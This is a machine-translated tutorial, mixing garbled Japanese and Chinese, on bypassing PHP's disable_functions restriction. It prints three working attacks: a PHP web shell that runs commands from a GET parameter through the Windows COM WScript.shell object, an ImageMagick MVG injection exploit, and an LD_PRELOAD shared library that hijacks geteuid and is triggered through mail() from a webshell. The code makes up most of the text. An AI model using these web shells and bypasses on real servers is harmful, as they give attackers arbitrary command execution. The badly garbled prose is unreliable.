PHPバイパスdisable_functionの制限(A)
テスト環境のPHP 5.4.5
0x01のを使用してバイパスシステムコンポーネント
1。ウィンドウのCOMコンポーネント(PHP 5.4)(あなたがあなた自身を追加する拡張機能の高いバージョン)
(それは最も早い設計、クロス言語の再利用プログラムコンポーネントが意図されているCOMコンポーネント。)
テスト:
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
徹底したソリューションは、System32ディレクトリ内のファイルを削除することですwshom.ocx
バイパスdisable_functionへ2. ImageMagickの脆弱性
ImageMagickのは、画像ファイルの基本フォーマット以上の89種類を、読み取り、書き込み、およびプロセスに使用することができ、強力な、安定したオープンソースのツールや開発キットである
のphpinfoこれが表示された場合は、次のことを試すことができます
公式ウェブサイトのアドレスをダウンロードします。https://imagemagick.org
ダウンロードを展開します。
https://pecl.php.net/package/imagick
https://windows.php.net/downloads/pecl/releases/imagick/3.4.1/
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
3.バイパスに環境変数LD_PRELOADを使用
PHPのメール実装プロセス内の関数は、デフォルトのシステムプログラム起動するは/ usr / sbinに/ sendmailのを我々はsendmailプログラムを乗っ取ることができれば、その後、私たちの目的のトリガーを達成できるようにする機能を郵送します
LD_PRELOADは興味深い環境変数Linuxシステムである:「それはあなたが選択を通じて異なるダイナミックリンクライブラリをロードし、主に同じ機能のために使用され、このダイナミックリンクライブラリ関数を実行する前にロードされた優先順位を定義することができます。この環境変数、我々はメインプログラムとそのダイナミック・リンク・ライブラリーにすることができ、中間負荷他のダイナミックリンクライブラリ。、あるいは通常の関数ライブラリを上書きする一方で、我々はあなた自身またはより良い機能を使用するには、この機能を使用することができます(する必要はありません誰か他の人のソースコード)、および特定の目的を達成するために、他の一方で、我々はまた、他の人にプログラムするプログラムを注入することができます。
例子:利用mali函数来测试
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
FILE*fp = fopen("/tmp/2.txt","w");
fclose(fp);
system("mkdir /var/www/html/test");
}
int geteuid(){
FILE *fp1=fopen("/tmp/2.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return 552;
}else {
payload();
return 552;
}
}
执行命令编译为一个动态共享库:
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。结果为
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]","","","","");
?>